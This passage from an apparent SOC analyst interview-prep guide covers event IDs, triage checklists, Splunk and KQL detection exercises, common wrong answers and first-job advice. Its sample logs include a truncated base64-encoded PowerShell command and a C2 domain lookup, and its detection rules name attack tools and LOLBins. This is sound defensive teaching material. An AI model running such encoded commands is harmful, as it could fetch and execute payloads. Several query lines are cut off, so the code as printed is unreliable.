4724	Security	Password reset attempt	Account takeover
4728	Security	Member added to global group	Privilege escalation
4732	Security	Member added to local group	Privilege escalation
4768	Security	Kerberos TGT requested	Authentication tracking
4769	Security	Kerberos service ticket	Kerberoasting detection
4771	Security	Kerberos pre-auth failed	AD brute force
4776	Security	NTLM authentication	Pass-the-hash tracking
7045	System	New service installed	Persistence, lateral movement

---

Card 8: Investigation Quick-Start Checklist

When you get an alert and are unsure where to start, run through this checklist:

For Any Alert

- ☐ What is the source of the alert? (SIEM rule, EDR, IDS, user report)
- ☐ What host and user are involved?
- ☐ What is the timestamp? What else happened around that time?
- ☐ Is this a known false-positive-prone rule? (Check alert history)
- ☐ What is the severity and what is the affected asset's criticality?

For Network Alerts

- ☐ Source IP: internal or external?
- ☐ Destination IP: known-bad? (Check threat intel)
- ☐ What port and protocol?
- ☐ What process on the host initiated the connection? (Check EDR)
- ☐ Is there a pattern? (Beaconing, scanning, bulk transfer)
- ☐ Has the same external IP been seen on other internal hosts?

For Endpoint Alerts

- ☐ What is the process and its full command line?

- ☐ What is the parent process? (Is the chain suspicious?)
- ☐ What user context is it running under?
- ☐ What did the process do? (Network connections, file changes, registry mods)
- ☐ Is the file hash known? (Check VirusTotal)
- ☐ Are there related alerts on the same host or same user?

For Authentication Alerts

- ☐ Is this brute force (one account, many attempts) or spraying (many accounts)?
- ☐ Were any attempts successful?
- ☐ What is the source IP — internal or external?
- ☐ What is the target — one system or many?
- ☐ Is the account still active and functional? (Should it be?)
- ☐ Are there any post-authentication anomalies?

Escalation Decision

- ☐ Is there evidence of active compromise? –> Escalate and contain
- ☐ Is this affecting critical systems? –> Escalate
- ☐ Is data potentially being exfiltrated right now? –> Escalate and contain
- ☐ Can I resolve this in the next 30 minutes? –> Handle it
- ☐ Am I unsure? –> Escalate. Better to escalate and be wrong than miss an incident.

SIEM Query Exercises

These exercises give you realistic log data and ask you to write detection queries. Each one includes answers in both Splunk SPL and Microsoft Sentinel KQL — the two query languages you are most likely to encounter in interviews and on the job.

Practice writing the query yourself before looking at the answer. The goal is not memorization — it is building the muscle memory of translating "I need to find X" into a working query.

Exercise 1: Failed Login Brute Force Detection (Windows Event 4625)

Scenario: You suspect a brute force attack against a domain controller. You need to find any source IP that has generated more than 50 failed login attempts within a 10-minute window.

Raw log snippet (Windows Event Log XML):

```
<Event xmlns="http://schemas.microsoft.com/win/2004/08/events/event">
  <System>
    <Provider Name="Microsoft-Windows-Security-Auditing" Guid="{54849625-5478-4994-A5BA-3E3B0328C30D}"/
    <EventID>4625</EventID>
    <TimeCreated SystemTime="2026-03-12T14:23:17.443Z"/>
    <Computer>DC01.corp.contoso.com</Computer>
  </System>
  <EventData>
```

```
    <Data Name="TargetUserName">j.smith</Data>
    <Data Name="TargetDomainName">CORP</Data>
    <Data Name="Status">0xC000006D</Data>
    <Data Name="SubStatus">0xC000006A</Data>
    <Data Name="LogonType">3</Data>
    <Data Name="IpAddress">10.20.30.105</Data>
    <Data Name="IpPort">49847</Data>
  </EventData>
</Event>
```

Question: Write a query to find all source IPs with more than 50 failed logon events (Event ID 4625) in any 10-minute window over the past 24 hours.

Splunk SPL:

```
index=windows sourcetype=WinEventLog:Security EventCode=4625
| bin _time span=10m
| stats count as failed_attempts dc(TargetUserName) as unique_users by _time IpAddress
| where failed_attempts > 50
| sort - failed_attempts
| table _time IpAddress failed_attempts unique_users
```

Microsoft Sentinel KQL:

```
SecurityEvent
| where TimeGenerated > ago(24h)
| where EventID == 4625
| summarize FailedAttempts = count(), UniqueUsers = dcount(TargetUserName) by bin(TimeGenerated, 10m),
| where FailedAttempts > 50
| order by FailedAttempts desc
| project TimeGenerated, IpAddress, FailedAttempts, UniqueUsers
```

Why this matters: Notice both queries also count unique target usernames. That is important context — 50 failed attempts against one account is a brute force, but 50 failures across 50 different accounts is a password spray. Same event ID, very different attacks. Interviewers love when you point that out.

Exercise 2: Encoded PowerShell Execution (Event 4104)

Scenario: Your threat intel team warns that attackers are using base64-encoded PowerShell commands to evade detection. You need to find any PowerShell script block logging events that contain encoded commands.

Raw log snippet (Windows Event Log XML):

```
<Event xmlns="http://schemas.microsoft.com/win/2004/08/events/event">
  <System>
    <Provider Name="Microsoft-Windows-PowerShell" Guid="{A0C1853B-5C40-4B15-8766-3CF1C58F985A}"/>
    <EventID>4104</EventID>
    <TimeCreated SystemTime="2026-03-12T03:14:52.109Z"/>
```

```
    <Computer>WKS042.corp.contoso.com</Computer>
  </System>
  <EventData>
    <Data Name="ScriptBlockText">powershell -enc SQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0ACAALQBVAH
    <Data Name="Path">C:\Windows\Temp\update.ps1</Data>
  </EventData>
</Event>
```

Question: Write a query to find all PowerShell script block events containing encoded command indicators over the past 7 days. Include the computer name, user, script content, and file path.

Splunk SPL:

```
index=windows sourcetype=WinEventLog:Microsoft-Windows-PowerShell/Operational EventCode=4104
| search ScriptBlockText="*-enc *" OR ScriptBlockText="*-EncodedCommand*" OR ScriptBlockText="*FromBase
| table _time Computer UserID ScriptBlockText Path
| sort - _time
```

Microsoft Sentinel KQL:

```
Event
| where TimeGenerated > ago(7d)
| where Source == "Microsoft-Windows-PowerShell" and EventID == 4104
| extend ScriptBlock = extract(@"<Data Name=""ScriptBlockText"">(.*?)</Data>", 1, EventData)
| extend ScriptPath = extract(@"<Data Name=""Path"">(.*?)</Data>", 1, EventData)
| where ScriptBlock matches regex @"(?i)(-enc\s|-EncodedCommand|FromBase64String|\[Convert\]::)"
| project TimeGenerated, Computer, ScriptBlock, ScriptPath
| order by TimeGenerated desc
```

Why this matters: Base64-encoded commands are one of the most common evasion techniques in the wild. The `-enc` flag is the short form of `-EncodedCommand`, and many attackers use it because the actual payload is invisible to basic log review. Script Block Logging (Event 4104) is your best friend here because it logs the decoded content. If the interviewer asks about detection engineering, mention that you would also create an alert for PowerShell executing from unusual directories like `C:\Windows\Temp\`.

Exercise 3: Firewall Deny Events from a Specific Source Range

Scenario: Your threat intel feed identified a malicious IP range (198.51.100.0/24) associated with a botnet. You need to find all firewall deny events from this range and understand what ports they are targeting.

Raw log snippet (Syslog — Palo Alto format):

```
Mar 12 08:41:33 fw01 1,2026/03/12 08:41:33,PA-5260,TRAFFIC,drop,2049,2026/03/12 08:41:33,198.51.100.47,10
Forward,2026/03/12 08:41:33,0,1,63221,445,0,0,0x0,tcp,deny,60,60,0,1,2026/03/12 08:41:33,0,any,0,123456
deny,0,0,0,0,,fw01,from-policy,,,0,,0,,N/A,0,0,0,0,0
```

Question: Write a query to find all denied traffic from the 198.51.100.0/24 range in the past 48 hours, grouped by destination port, to understand what the attackers are scanning for.

Splunk SPL:

```
index=firewall sourcetype=pan:traffic action=deny src_ip="198.51.100.*"
| stats count as attempts dc(dest_ip) as unique_targets by dest_port
| sort - attempts
| table dest_port attempts unique_targets
```

Microsoft Sentinel KQL:

```
CommonSecurityLog
| where TimeGenerated > ago(48h)
| where DeviceVendor == "Palo Alto Networks" and DeviceAction == "deny"
| where ipv4_is_in_range(SourceIP, "198.51.100.0/24")
| summarize Attempts = count(), UniqueTargets = dcount(DestinationIP) by DestinationPort
| order by Attempts desc
| project DestinationPort, Attempts, UniqueTargets
```

Why this matters: Notice we are not just counting hits — we are looking at which ports they are targeting and how many unique internal hosts they are hitting. If you see port 445 (SMB), 3389 (RDP), and 22 (SSH) lighting up, that is a standard reconnaissance scan looking for remote access. If you see port 1433 (MSSQL) or 5432 (PostgreSQL), they are hunting for exposed databases. The port distribution tells you the attacker's intent. Mention that in an interview and you will stand out.

Exercise 4: DNS Queries to Known-Bad Domains

Scenario: Your threat intel platform flagged several domains associated with a malware command-and-control infrastructure. You need to find any internal hosts that have been querying these domains.

Raw log snippet (JSON — DNS query log):

```
{
  "timestamp": "2026-03-12T11:07:44.221Z",
  "source_ip": "10.10.2.88",
  "query_name": "x7kd9.malware-c2-infra.xyz",
  "query_type": "A",
  "response_code": "NOERROR",
  "response_data": "185.220.101.33",
  "server": "dns01.corp.contoso.com"
}
```

Question: Write a query that checks DNS query logs against a list of known-bad domains, shows which internal hosts queried them, and counts the frequency — to distinguish between a one-off accidental visit and active C2 beaconing.

Splunk SPL:

```
index=dns sourcetype=dns
| lookup threat_intel_domains domain as query_name OUTPUT threat_category threat_source
| where isnotnull(threat_category)
```

```
| stats count as query_count dc(query_name) as unique_domains earliest(_time) as first_seen latest(_tim
| eval duration_hours=round((last_seen-first_seen)/3600,2)
| where query_count > 1
| sort - query_count
| table source_ip query_count unique_domains first_seen last_seen duration_hours
```

Microsoft Sentinel KQL:

```
let BadDomains = externaldata(Domain: string)
  [@"https://your-ti-feed.example.com/bad-domains.csv"] with (format="csv");
DnsEvents
| where TimeGenerated > ago(24h)
| where Name has_any (BadDomains)
| summarize QueryCount = count(), UniqueDomains = dcount(Name), FirstSeen = min(TimeGenerated), LastSee
| extend DurationHours = datetime_diff('hour', LastSeen, FirstSeen)
| where QueryCount > 1
| order by QueryCount desc
| project ClientIP, QueryCount, UniqueDomains, FirstSeen, LastSeen, DurationHours
```

Why this matters: A single DNS query to a bad domain might be a user clicking a link in a phishing email — bad, but not necessarily an active compromise. But if one host is querying the same bad domain every 60 seconds for the past 12 hours, that is a beaconing pattern and almost certainly an active C2 connection. The `duration_hours` and `query_count` fields in these queries help you make that distinction. In an interview, explain that frequency and pattern matter more than a single hit.

Exercise 5: Lateral Movement via Remote Service Creation (Event 7045)

Scenario: An EDR alert fired on a workstation for suspicious process execution. During your investigation, you want to check whether the attacker has moved laterally by creating services on other machines — a technique used by tools like PsExec.

Raw log snippet (Windows Event Log XML):

```xml
<Event xmlns="http://schemas.microsoft.com/win/2004/08/events/event">
  <System>
    <Provider Name="Service Control Manager" Guid="{555908D1-A6D7-4695-8E1E-26931D2012F4}"/>
    <EventID>7045</EventID>
    <TimeCreated SystemTime="2026-03-12T02:47:11.887Z"/>
    <Computer>SVR-FIN-03.corp.contoso.com</Computer>
  </System>
  <EventData>
    <Data Name="ServiceName">PSEXESVC</Data>
    <Data Name="ImagePath">%SystemRoot%\PSEXESVC.exe</Data>
    <Data Name="ServiceType">user mode service</Data>
    <Data Name="StartType">demand start</Data>
    <Data Name="AccountName">LocalSystem</Data>
  </EventData>
</Event>
```

Question: Write a query to find all new service installations across your environment in the past 48 hours, flagging any that look suspicious — especially services with names or paths associated with known attack tools.

Splunk SPL:

```
index=windows sourcetype=WinEventLog:System EventCode=7045
| eval suspicious=case(
    match(ServiceName, "(?i)(PSEXE|meterpreter|cobalt|beacon|pivot)"), "known_tool",
    match(ImagePath, "(?i)(\\\\temp\\\\|\\\\tmp\\\\|%temp%|\\\\appdata\\\\|\\\\public\\\\)"), "suspicio
    match(ImagePath, "(?i)(cmd\.exe|powershell|rundll32|regsvr32|mshta)"), "lolbin_service",
    AccountName="LocalSystem" AND ServiceType="user mode service", "system_user_mode",
    1=1, "review"
  )
| where suspicious!="review"
| table _time Computer ServiceName ImagePath ServiceType StartType AccountName suspicious
| sort - _time
```

Microsoft Sentinel KQL:

```
Event
| where TimeGenerated > ago(48h)
| where Source == "Service Control Manager" and EventID == 7045
| extend ServiceName = extract(@"<Data Name=""ServiceName"">(.*?)</Data>", 1, EventData)
| extend ImagePath = extract(@"<Data Name=""ImagePath"">(.*?)</Data>", 1, EventData)
| extend ServiceType = extract(@"<Data Name=""ServiceType"">(.*?)</Data>", 1, EventData)
| extend StartType = extract(@"<Data Name=""StartType"">(.*?)</Data>", 1, EventData)
| extend AccountName = extract(@"<Data Name=""AccountName"">(.*?)</Data>", 1, EventData)
| extend Suspicious = case(
    ServiceName matches regex @"(?i)(PSEXE|meterpreter|cobalt|beacon|pivot)", "known_tool",
    ImagePath matches regex @"(?i)(\\temp\\|\\tmp\\|%temp%|\\appdata\\|\\public\\)", "suspicious_path",
    ImagePath matches regex @"(?i)(cmd\.exe|powershell|rundll32|regsvr32|mshta)", "lolbin_service",
    AccountName == "LocalSystem" and ServiceType == "user mode service", "system_user_mode",
    "review"
  )
| where Suspicious != "review"
| project TimeGenerated, Computer, ServiceName, ImagePath, ServiceType, StartType, AccountName, Suspici
| order by TimeGenerated desc
```

Why this matters: PsExec is probably the most common lateral movement tool you will encounter, and it works by creating a service on the remote machine. But it is not the only thing that creates services — legitimate software installations do too. That is why the query categorizes the results instead of just matching on "PSEXESVC." In an interview, explain that you would cross-reference these results with your change management system. A new service on a production server at 2 AM that nobody submitted a change request for? That is worth investigating. A new service installed at 10 AM during a scheduled deployment window? Probably fine.

Printable Cheat Sheet: The 20 Things to Know Cold

This is the one page you print and review in the parking lot before you walk in. Everything on this page is something an interviewer might ask in the first 10 minutes.

Ports to Know

Port	Service	Why it matters
22	SSH	Remote access, lateral movement
53	DNS	C2 tunneling, exfil
80/443	HTTP/HTTPS	Web attacks, C2
445	SMB	Lateral movement, ransomware
3389	RDP	Remote access, brute force
88	Kerberos	Kerberoasting, golden ticket
135	RPC	WMI execution, lateral movement
25/587	SMTP	Phishing, email exfil

If you can't name these eight and explain why an attacker cares about each one, you're not ready.

Windows Event IDs to Know

ID	What it means
4624	Successful logon
4625	Failed logon
4648	Explicit credential logon
4672	Special privilege assigned
4688	Process creation
4697/7045	Service installed
4720	User account created
1102	Audit log cleared
4104	PowerShell script block

You will be asked about at least two of these. 4625 and 4624 are the most common. 1102 is the one that impresses interviewers because it means you think like a defender — someone cleared the logs, and that itself is a red flag.

IR Phases (NIST)

1. **Preparation** — Build the team, the plan, the tools
2. **Detection & Analysis** — Find it, confirm it, scope it
3. **Containment, Eradication, Recovery** — Stop it, remove it, rebuild

4. **Post-Incident Activity** — Learn from it, improve

Four phases. Say them in order. Know what happens in each one. If you can walk an interviewer through a scenario using this framework, you demonstrate structured thinking under pressure.

MITRE ATT&CK Top Tactics (in attack order)

Initial Access → Execution → Persistence → Privilege Escalation → Defense Evasion → Credential Access → Discovery → Lateral Movement → Collection → C2 → Exfiltration → Impact

You don't need to memorize every technique. You need to understand the flow. An attacker gets in, runs code, stays in, gets higher access, hides, steals credentials, looks around, moves to other systems, gathers data, phones home, steals data, and causes damage. Every investigation you run maps somewhere on this chain.

The Universal Triage Framework

Memorize this. Use it on every alert. It works whether the alert is a phishing email, a malware detection, or an anomalous login.

1. **Is it real?** Check for false positive indicators. Has this rule fired before? Is the context benign?
2. **What's the scope?** One host? Many? What data is involved? Which users?
3. **Is it ongoing?** Active C2 connection? Data leaving right now? Or is this historical?
4. **Contain first, investigate second.** If there is an active threat, stop the bleeding before you start the autopsy.
5. **Document everything. Escalate when in doubt.** Nobody gets fired for escalating too soon. People get fired for sitting on an incident because they were afraid to ask for help.

If an interviewer gives you a scenario and you walk through these five steps in order, you will sound like someone who has done this before — even if you haven't.

This concludes the SOC Analyst Interview Kit. Review, practice, and go get that job.

Chapter 8: Answers That Sound Right But Are Wrong

Every interviewer has heard these. They sound confident. They sound reasonable. And they are either wrong, dangerously incomplete, or a sign that the candidate is reciting buzzwords without understanding the underlying concepts.

This chapter is your inoculation. Read through these, recognize the pattern, and make sure you are not the candidate who says them.

---

1. "Just block the IP"

The question: "An alert fires showing repeated connection attempts from an external IP to your web server. What do you do?"

The "sounds right" answer: "I would block the IP on the firewall."

Why it is wrong: Blocking a single IP is whack-a-mole. Attackers do not use one IP — they use dozens, hundreds, or thousands. They rotate through cloud providers, VPNs, compromised hosts, and residential proxies. Blocking one IP gives you approximately 30 seconds of peace before the next one shows up.

More importantly, you skipped the entire investigation. Why were they connecting? Did they succeed? What were they targeting? Blocking the IP is a containment step — and a weak one at that — not a complete response.

The better answer: "I would first analyze what the connection attempts were targeting — port, protocol, and payload. I would check if any attempts succeeded by correlating with web server access logs, WAF logs, and EDR. If this is an active exploit attempt, I would block the IP as an immediate short-term containment step while investigating, but I would also look at the attack pattern to build a broader detection rule — because the attacker will come back from a different IP. The long-term fix is addressing whatever vulnerability they were targeting."

---

2. "Encryption means it is secure"

The question: "How do you ensure data is secure in transit?"

The "sounds right" answer: "We encrypt everything with TLS, so the data is secure."

Why it is wrong: Encryption protects confidentiality. That is one property of security. It does not protect against a compromised endpoint, a man-in-the-middle with a trusted certificate (like a corporate proxy doing TLS inspection), weak cipher suites, expired certificates, or an attacker who already has the decryption keys.

Also, "we encrypt everything" is not a security control — it is a vague aspiration. Encrypt with what? TLS 1.0? TLS 1.3? A self-signed cert? AES-256 or DES? The details matter enormously.

The better answer: "TLS encryption in transit is a baseline, but encryption alone is not sufficient. I would verify we are using TLS 1.2 or 1.3 with strong cipher suites, that certificates are valid and properly managed, and that we have certificate pinning where appropriate. I would also consider the endpoints — encryption does not help if the server is compromised. And for sensitive data, I would look at encryption at rest as well, key management practices, and access controls on who can decrypt."

---

3. "We should investigate every alert"

The question: "Your SOC receives 5,000 alerts per day. How do you handle the volume?"

The "sounds right" answer: "Every alert could be a real threat, so we need to investigate all of them."

Why it is wrong: This is the fastest path to analyst burnout and, ironically, to missing real threats. If your team is drowning in 5,000 alerts a day, they are not investigating — they are clicking "close" on a conveyor belt. Alert fatigue is one of the most well-documented problems in security operations, and "investigate everything" is how you create it.

The better answer: "At 5,000 alerts per day, the first problem to solve is not investigation capacity — it is alert quality. I would start by analyzing which rules are generating the most volume, what the false-positive rate is for each, and whether we can tune the noisiest rules. I would tier the alerts by severity and asset criticality, automate triage for known-benign patterns using SOAR playbooks, and focus analyst time on the alerts most likely to be true positives. The goal is fewer, higher-fidelity alerts — not more analysts staring at more screens."

---

4. "Zero trust means no firewall"

The question: "Explain zero trust architecture and how it changes security."

The "sounds right" answer: "Zero trust means we do not trust the network perimeter, so we do not need firewalls anymore. Everything is identity-based."

Why it is wrong: Zero trust does not mean "no perimeter." It means "do not assume the perimeter is enough." Firewalls still have a role — they just are not the only thing standing between you and the bad guys. Zero trust adds identity verification, device posture checks, micro-segmentation, and continuous validation on top of network controls. It is defense in depth, not defense instead of.

Saying "we do not need firewalls" in an interview is like saying "we have seatbelts so we do not need brakes." Both do different things. You want both.

The better answer: "Zero trust is a shift from implicit trust based on network location to explicit verification for every access request. It means that being on the corporate network does not automatically grant you access to resources — you still need to authenticate, your device needs to meet security requirements, and access is granted on a least-privilege basis. Firewalls still play a role in network segmentation and blocking known-bad traffic, but they are one layer in a broader architecture that includes identity providers, device management, micro-segmentation, and continuous monitoring."

---

5. "Hash the passwords with MD5"

The question: "How should passwords be stored securely?"

The "sounds right" answer: "We hash them with MD5 so they cannot be reversed."

Why it is wrong: MD5 is a general-purpose hash function designed for speed. That is exactly the wrong property for password storage. A modern GPU can compute billions of MD5 hashes per second, which means an attacker with a leaked database can brute-force most passwords in minutes to hours. MD5 also has known collision vulnerabilities, though that is less relevant to password cracking than the speed problem.

Even SHA-256 is not ideal for passwords, for the same reason — it is too fast.

The better answer: "Passwords should be stored using a purpose-built password hashing function like bcrypt, scrypt, or Argon2. These are intentionally slow and computationally expensive, which means brute-force attacks against leaked hashes take orders of magnitude longer. They also include a built-in salt, which prevents rainbow table attacks and means two users with the same password get different hashes. If I saw MD5 or plain SHA being used for passwords in our environment, I would flag it as a finding and recommend migrating to bcrypt or Argon2."

---

6. "The SIEM will catch everything"

The question: "How confident are you that your detection capabilities cover the major threat vectors?"

The "sounds right" answer: "We have a SIEM collecting logs from all our critical systems, so we have good visibility."

Why it is wrong: A SIEM is only as good as the data feeding it and the rules written against that data. Having logs in the SIEM is step one. Having detection rules that actually identify malicious patterns is step two — and that is where most organizations fall short.

Common gaps: no detection rules for the specific TTPs relevant to your industry, missing log sources (how many organizations actually ingest cloud API logs, DNS query logs, and proxy logs?), rules that have not been updated in two years, and data that is collected but nobody ever queries.

The better answer: "The SIEM is our primary detection platform, but I would not say it catches everything — no single tool does. I would assess our coverage by mapping our detection rules against MITRE ATT&CK to identify gaps. I would also verify that our log sources are actually flowing and being parsed correctly, because a misconfigured log source is invisible — you do not get alerts

about the alerts you are not getting. Regular purple team exercises help validate that our detections actually fire when they should."

---

7. "Disable the user account immediately"

The question: "You discover an attacker is using a compromised employee's credentials. What is your first containment action?"

The "sounds right" answer: "I would immediately disable the user account to cut off the attacker's access."

Why it is wrong: This is a case where the instinct is right — cut off access — but the execution is wrong. Disabling the account has side effects you might not want: - It tells the attacker you are onto them. If they have other persistence mechanisms (a backdoor, another compromised account), they will switch to those and you have lost your window to observe their behavior. - It may break legitimate services if the account is used for service integrations. - It does not revoke active sessions — the attacker may still be logged in.

The better answer: "My first step would be to revoke all active sessions and authentication tokens, which cuts the attacker's current access without necessarily alerting them. Then I would rotate the credentials — reset the password and revoke any API keys or access tokens. I would disable the account only after I have confirmed we have captured enough forensic data and understand the full scope. I would also check for other persistence mechanisms the attacker may have set up — new accounts, scheduled tasks, OAuth app grants — because disabling one account does not matter if they have three other ways in."

---

8. "We use antivirus so we are protected"

The question: "What endpoint protection strategy do you recommend?"

The "sounds right" answer: "We have antivirus installed on all endpoints, so we are covered."

Why it is wrong: Traditional signature-based antivirus catches known malware. That is it. It does not catch fileless malware, living-off-the-land attacks (using PowerShell, WMI, or built-in Windows tools), zero-day exploits, or sophisticated threats that use obfuscation to evade signatures. The threat landscape moved past "just antivirus" about a decade ago.

This answer also conflates "installed" with "effective." Is the AV actually running? Are definitions current? Is it configured to do real-time scanning? Are exclusions too broad? "We have it installed" is not a security posture.

The better answer: "Antivirus is one layer, but modern endpoint protection requires EDR — Endpoint Detection and Response. EDR gives you behavioral detection (not just signature matching), process tree visibility, the ability to isolate compromised hosts, and forensic data for investigations. I would recommend an EDR solution with behavioral analytics, combined with application whitelisting on critical servers, and centralized management so we can verify all endpoints are actually reporting in and up to date. AV catches commodity malware. EDR catches the stuff that actually keeps you up at night."

---

9. "The vulnerability scan found no criticals, so we are secure"

The question: "Your latest vulnerability scan shows no critical findings. How do you report this to management?"

The "sounds right" answer: "Great news — we have no critical vulnerabilities, so our security posture is strong."

Why it is wrong: A vulnerability scan is a snapshot of known vulnerabilities at one point in time, against the systems you pointed it at, using the signatures the vendor has written. There are so many gaps in that: - Zero-days are not in the scan database. You could have a critical vulnerability nobody knows about yet. - Misconfigurations are often not covered by vulnerability scanners — weak passwords, overly permissive IAM roles, exposed S3 buckets. - The scan only covers what you scanned. Shadow IT, forgotten test servers, and cloud resources that nobody told the security team about are invisible. - "No criticals" still means you might have hundreds of highs and mediums that, combined, create an exploitable attack path.

The better answer: "I would report that the scan found no critical-severity known vulnerabilities on the systems we scanned, which is positive — but I would frame it carefully. I would note the limitations: the scan covers known CVEs, not zero-days or misconfigurations. I would also highlight any high-severity findings that are close to critical, especially on internet-facing systems. And I would recommend complementing vulnerability scanning with penetration testing, configuration audits, and attack surface management to cover the gaps that automated scanning misses."

---

10. "Just restore from backup" for ransomware

The question: "Your organization is hit with ransomware. What is your recovery strategy?"

The "sounds right" answer: "We have backups, so we would just restore from the last clean backup."

Why it is wrong: If your recovery plan for ransomware starts and ends with "restore from backup," you are in for a very bad week. Several problems: - How do you know the backups are clean? Ransomware often sits dormant for weeks before detonating. Your "last clean backup" might already be infected. - How do you know the attacker is not still in your environment? If you restore without eradicating the threat, they will just encrypt you again. - How long does a full restore take? Most organizations have never tested a full-scale restore. When they try it during an actual incident, they discover it takes days, not hours. - Did the attacker exfiltrate data before encrypting? "Double extortion" ransomware threatens to publish stolen data even if you restore. Backups do not solve that.

The better answer: "Backups are critical to ransomware recovery, but restoring is the last step, not the first. First, I need to contain the spread — isolate affected systems, identify the ransomware variant, and determine the initial access vector. Then eradicate — make sure the attacker is completely out of the environment, including any backdoors or persistence mechanisms. Only then do we restore, starting with the most critical systems. And before we restore, we need to verify the backup integrity and confirm the backup predates the initial compromise, not just the

encryption event. I would also check for data exfiltration indicators, because even with a successful restore, we may have a data breach to manage."

The Pattern

Read back through these ten mistakes. Notice something?

Almost every wrong answer shares the same flaw: **it jumps to a single action without understanding the full picture.**

Block the IP. Disable the account. Restore from backup. Hash with MD5. These are all actions. Some of them are even correct actions — but taken in isolation, without context, they range from incomplete to actively harmful.

What interviewers are looking for — and what separates a good analyst from a button-pusher — is the ability to think in systems. Every action has dependencies, side effects, and assumptions. The strong answers above all share a pattern too: they start by understanding the situation, consider the implications, take measured action, and plan for what comes next.

When you are in an interview and a quick, confident answer pops into your head, pause for two seconds and ask yourself: "What am I not thinking about?" That single habit will make your answers dramatically better — and it will make you a dramatically better analyst.

Mock Interview Scoring Guide

Want to know if you're actually ready? Grab a friend, a study partner, or even your phone's voice recorder. Run through 10 questions from this kit and score yourself honestly.

Scoring Rubric

For each question, score 0-3:

Score	What it means	What it sounds like
0 — Blank	You froze or said "I don't know"	Silence, followed by panic
1 — Vague	You knew the general area but couldn't be specific	"It's like… a security thing… for networks…"
2 — Solid	You gave a clear, structured answer with specifics	"A SIEM collects and correlates logs from multiple sources. We used Splunk to…"
3 — Standout	You nailed it AND added context the interviewer didn't ask for	"…and the reason that matters is because without centralized logging, you're investigating incidents across 40 different consoles."

Scoring Your Mock Interview

- **25+ out of 30:** You're ready. Go get that interview.

- **18-24:** You're close. Review the questions you scored 0-1 and practice those specifically.
- **Under 18:** More study time needed. Focus on Chapters 1 and 2 before anything else.

The goal is not to memorize perfect answers. The goal is to eliminate the zeros and ones. A mock interview full of twos means you are prepared. Threes are what get you the offer over the other candidate who was also prepared.

Mock Round 1: Phone Screen (General Knowledge)

This simulates a 30-minute recruiter or hiring manager screen. They want to know if you understand the basics and if you can communicate clearly.

1. What is the CIA triad? (Ch 1, Q1)
2. What ports does DNS use? (Ch 1, Q11)
3. Walk me through what happens when a phishing email is reported (Ch 2, Scenario 1)
4. What's the difference between IDS and IPS? (Ch 3, Q1)
5. What is lateral movement? (Ch 1, Q31)
6. Tell me about a time you had to learn something quickly (Ch 4, Q6)
7. What's your experience with SIEM tools? (Ch 5, Tool Reference)
8. Why do you want to work in a SOC? (Ch 4, Q1)
9. What is the difference between a vulnerability scan and a penetration test? (Ch 1, Q32)
10. Where do you see yourself in 2-3 years? (Ch 4, Q11)

Mock Round 2: Technical Deep Dive

This simulates the technical interview round. Expect follow-up questions. If you give a surface-level answer, a good interviewer will push deeper.

1. A user reports their computer is running slowly and they see pop-ups. Walk me through your investigation. (Ch 2, Scenario 3)
2. What Windows Event IDs would you look at during a brute force investigation? (Ch 3, Q5)
3. Explain the TLS handshake (Ch 1, Q20)
4. What's the difference between TCP and UDP? When does it matter for security? (Ch 3, Q3)
5. How would you investigate a potential data exfiltration alert? (Ch 2, Scenario 7)
6. What is MITRE ATT&CK and how would you use it? (Ch 1, Q9)
7. Write a Splunk query to find failed logins from a single IP (Ch 7, Exercise 1)
8. What is living-off-the-land and why is it hard to detect? (Ch 3, Q15)
9. How do you determine if an alert is a true or false positive? (Ch 3, Q2)
10. What's the difference between EDR and antivirus? (Ch 1, Q36)

Mock Round 3: Behavioral + Scenario Mix

This is where they figure out if you are someone they want to work next to at 2 AM during an incident. Technical skill gets you to this round. This round determines if you get the offer.

1. Tell me about a time you disagreed with a team decision (Ch 4, Q5)

2. You get 200 alerts in your queue at the start of your shift. How do you prioritize? (Ch 2, Scenario 10)
3. Your colleague is accessing systems they shouldn't. What do you do? (Ch 4, Q12)
4. A VPN concentrator is showing connections from an unusual country at 3 AM. Walk me through it. (Ch 2, Scenario 8)
5. How do you handle shift handoffs? (Ch 4, Q8)
6. What would you do if you found a vulnerability in a production system? (Ch 2, Scenario 12)
7. Describe your home lab or personal security projects (Ch 6, Resume section)
8. How do you stay current with threat intelligence? (Ch 4, Q9)
9. If you could improve one thing about how most SOCs operate, what would it be? (open-ended)
10. What questions do you have for us? (Ch 4, closing advice)

Previous: Chapter 7 — Quick Reference Cards

Chapter 9: Your First 90 Days on the SOC

You got the offer. You signed the papers. Monday morning, you badge in, sit down at your desk, and realize: nobody taught you how to actually *do* this job. The interview tested what you know. The first 90 days test whether you can learn what you don't.

Every SOC analyst who's been in the field for more than a year remembers those first weeks. The imposter syndrome. The wall of alerts that mean nothing to you yet. The senior analyst next to you who seems to speak a different language. The quiet panic of wondering if you actually deserve to be here.

You do. Here's how to prove it.

Week 1: Shut Up and Listen

Your first instinct will be to prove you belong. Resist it. Nobody expects you to add value in week one. They expect you to learn without breaking things.

Day 1 Conversations

Find your team lead and ask these three questions:

- **"What does a good day look like here?"** This tells you what success means in this specific SOC — not in theory, not in a textbook, but in this room with these people.
- **"What should I NOT touch?"** Every SOC has production systems, sensitive configurations, and tribal knowledge about things that look broken but aren't. Find out where the landmines are before you step on one.
- **"Who do I escalate to, and how?"** Not just the name — the mechanism. Slack message? Phone call? Ticket? Some escalation paths are time-sensitive and using the wrong channel can cost minutes you don't have.

Map the Environment

Before you can investigate anything, you need to know what you're working with. By end of week one, you should be able to answer:

- What SIEM does the team use? How do you access it? Where are the saved searches?

- What EDR platform is deployed? Can you pull up a host timeline?
- What ticketing system do you use? What are the required fields?
- What are the SLAs? How fast does a P1 need to be triaged? A P2? A P3?
- What does the shift handoff process look like?

Read 10 Closed Tickets

This is the single highest-value thing you can do in week one. Open the ticketing system, filter for closed/resolved incidents, and read ten of them start to finish.

You're not reading for technical content — you're reading for pattern. How are tickets documented? How much detail is expected? What does "done" look like here? Every SOC has its own standard, and the fastest way to learn it is to see what your colleagues produce.

Weeks 2-4: Build Your Rhythm

By the second week, you should be sitting in the queue. You won't be fast. You won't be confident. That's expected.

Handle Tier 1 Alerts Independently

Your goal by end of month one: you should be able to triage common alert types — phishing reports, malware detections, failed login spikes, firewall blocks — without asking for help on every one.

You won't get there by reading documentation. You'll get there by doing the work, getting feedback, and doing it again. Ask for feedback explicitly: "Hey, I closed this ticket — can you take a look and tell me if I missed anything?"

Build Your Personal Runbook

This is not optional. This is the thing that separates analysts who plateau from analysts who grow.

